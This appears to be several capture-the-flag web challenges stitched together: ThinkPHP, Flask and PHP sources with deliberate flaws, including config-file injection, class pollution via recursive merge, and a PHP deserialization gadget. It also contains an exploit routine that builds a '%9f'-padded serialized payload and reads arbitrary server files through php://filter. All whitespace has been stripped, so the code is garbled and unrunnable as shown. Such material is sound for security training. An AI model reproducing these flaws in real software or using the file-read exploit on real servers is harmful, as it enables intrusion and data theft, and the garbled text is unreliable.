<?phpnamespaceapp\controller;useapp\BaseController;usethink\facade\Db;classIndexextendsBaseController{protected$middleware=['think\middleware\AllowCrossDomain','think\middleware\CheckRequestCache','think\middleware\LoadLangPack','think\middleware\SessionInit'];publicfunctionindex($isCache=false,$cacheTime=3600){if($isCache==true){$config=require__DIR__.'/../../config/route.php';$config['request_cache_key']=$isCache;$config['request_cache_expire']=intval($cacheTime);$config['request_cache_except']=[];file_put_contents(__DIR__.'/../../config/route.php','<?php return '.var_export($config,true).';');return'cache is enabled';}else{return'Welcome ,cache is disabled';}}}
fromflaskimportFlask,session,redirect,url_for,request,render_templateimportosimporthashlibimportjsonimportredefgenerate_random_md5():random_string=os.urandom(16)md5_hash=hashlib.md5(random_string)returnmd5_hash.hexdigest()deffilter(user_input):blacklisted_patterns=['init','global','env','app','_','string']forpatterninblacklisted_patterns:ifre.search(pattern,user_input,re.IGNORECASE):returnTruereturnFalsedefmerge(src,dst):# Recursive merge functionfork,vinsrc.items():ifhasattr(dst,'__getitem__'):ifdst.get(k)andtype(v)==dict:merge(v,dst.get(k))else:dst[k]=velifhasattr(dst,k)andtype(v)==dict:merge(v,getattr(dst,k))else:setattr(dst,k,v)app=Flask(__name__)app.secret_key=generate_random_md5()classevil():def__init__(self):pass@app.route('/',methods=['POST'])defindex():username=request.form.get('username')password=request.form.get('password')session["username"]=usernamesession["password"]=passwordEvil=evil()ifrequest.data:iffilter(str(request.data)):return"NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"else:merge(json.loads(request.data),Evil)return"MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"returnrender_template("index.html")@app.route('/admin',methods=['POST','GET'])deftemplates():username=session.get("username",None)password=session.get("password",None)ifusernameandpassword:ifusername=="adminer"andpassword==app.secret_key:returnrender_template("flag.html",flag=open("/flag","rt").read())else:return"Unauthorized"else:returnf'Hello, This is the POLLUTED page.'if__name__=='__main__':app.run(host='0.0.0.0',port=5000)
<?phphighlight_file(__FILE__);error_reporting(0);functionsubstrstr($data){$start=mb_strpos($data,"[");$end=mb_strpos($data,"]");returnmb_substr($data,$start+1,$end-1-$start);}classread_file{public$start;public$filename="/etc/passwd";publicfunction__construct($start){$this->start=$start;}publicfunction__destruct(){if($this->start=="gxngxngxn"){echo'What you are reading is:'.file_get_contents($this->filename);}}}if(isset($_GET['start'])){$readfile=newread_file($_GET['start']);$read=isset($_GET['read'])?$_GET['read']:"I_want_to_Read_flag";if(preg_match("/\[|\]/i",$_GET['read'])){die("NONONO!!!");}$ctf=substrstr($read."[".serialize($readfile)."]");unserialize($ctf);}else{echo"Start_Funny_CTF!!!";}Start_Funny_CTF!!!
defsend(self,path:str)->Response:payload_file='O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:'+str(len(path))+':"'+path+'";}'payload="%9f"*(len(payload_file)+1)+payload_file.replace("+","%2b")filename_len="a"*(len(path)+10)url=self.url+f"?start={filename_len}&read={payload}"returnself.session.get(url)defdownload(self,path:str)->bytes:"""Returns the contents of a remote file.
"""path=f"php://filter/convert.base64-encode/resource={path}"response=self.send(path)data=response.re.search(b"What you are reading is:(.*)",flags=re.S).group(1)returnbase64.decode(data)
fromflaskimportFlask,request,sessionimportmagikaimportuuidimportjsonimportosfrombotimportvisitasbot_visitimportastapp=Flask(__name__)app.secret_key=str(uuid.uuid4())app.static_folder='public/'vip_user="vip"vip_pwd=str(uuid.uuid4())curr_dir=os.path.dirname(os.path.abspath(__file__))CHECK_FOLDER=os.path.join(curr_dir,"check")USER_FOLDER=os.path.join(curr_dir,"public/user")mg=magika.Magika()#深度学习defisSecure(file_type):D_extns=["json",'py','sh',"html"]iffile_typeinD_extns:returnFalsereturnTrue@app.route("/login",methods=['GET','POST'])deflogin():if(session.get("isSVIP")):return"logined"ifrequest.method=="GET":return"input your username and password plz"elifrequest.method=="POST":try:user=request.form.get("username").strip()pwd=request.form.get("password").strip()ifuser==vip_userandpwd==vip_pwd:session["isSVIP"]="True"else:session["isSVIP"]="False"# 写入硬盘中,方便bot验证。file=os.path.join(CHECK_FOLDER,"vip.json")withopen(file,"w")asf:json.dump({k:vfork,vinsession.items()},f)f.close()returnf"{user} login success"except:return"you broke the server,get out!"@app.route("/upload",methods=["POST"])defupload():try:content=request.form.get("content").strip()name=request.form.get("name").strip()file_type=mg.identify_bytes(content.encode()).output.ct_label#判断文件内容ifisSecure(file_type):file=os.path.join(USER_FOLDER,name)withopen(file,"w")asf:f.write(content)f.close()return"ok,share your link to bot: /visit?link=user/"+namereturn"black!"except:return"you broke the server,fuck out!"@app.route('/')defindex():returnapp.send_static_file('index.html')@app.route('/visit')defvisit():link=request.args.get("link")returnbot_visit(link)@app.route('/share')defshare():file=request.args.get("file")returnapp.send_static_file(file)@app.route("/clear",methods=['GET'])defclear():session.clear()return"session clear success"@app.route("/check",methods=['GET'])defcheck():path=os.path.join(CHECK_FOLDER,"vip.json")#joinifos.path.exists(path):content=open(path,"r").read()try:isSVIP=ast.literal_eval(json.loads(content)["isSVIP"])except:isSVIP=Falsereturn"VIP"ifisSVIPelse"GUEST"else:return"GUEST"if__name__=="__main__":app.run("0.0.0.0",5050)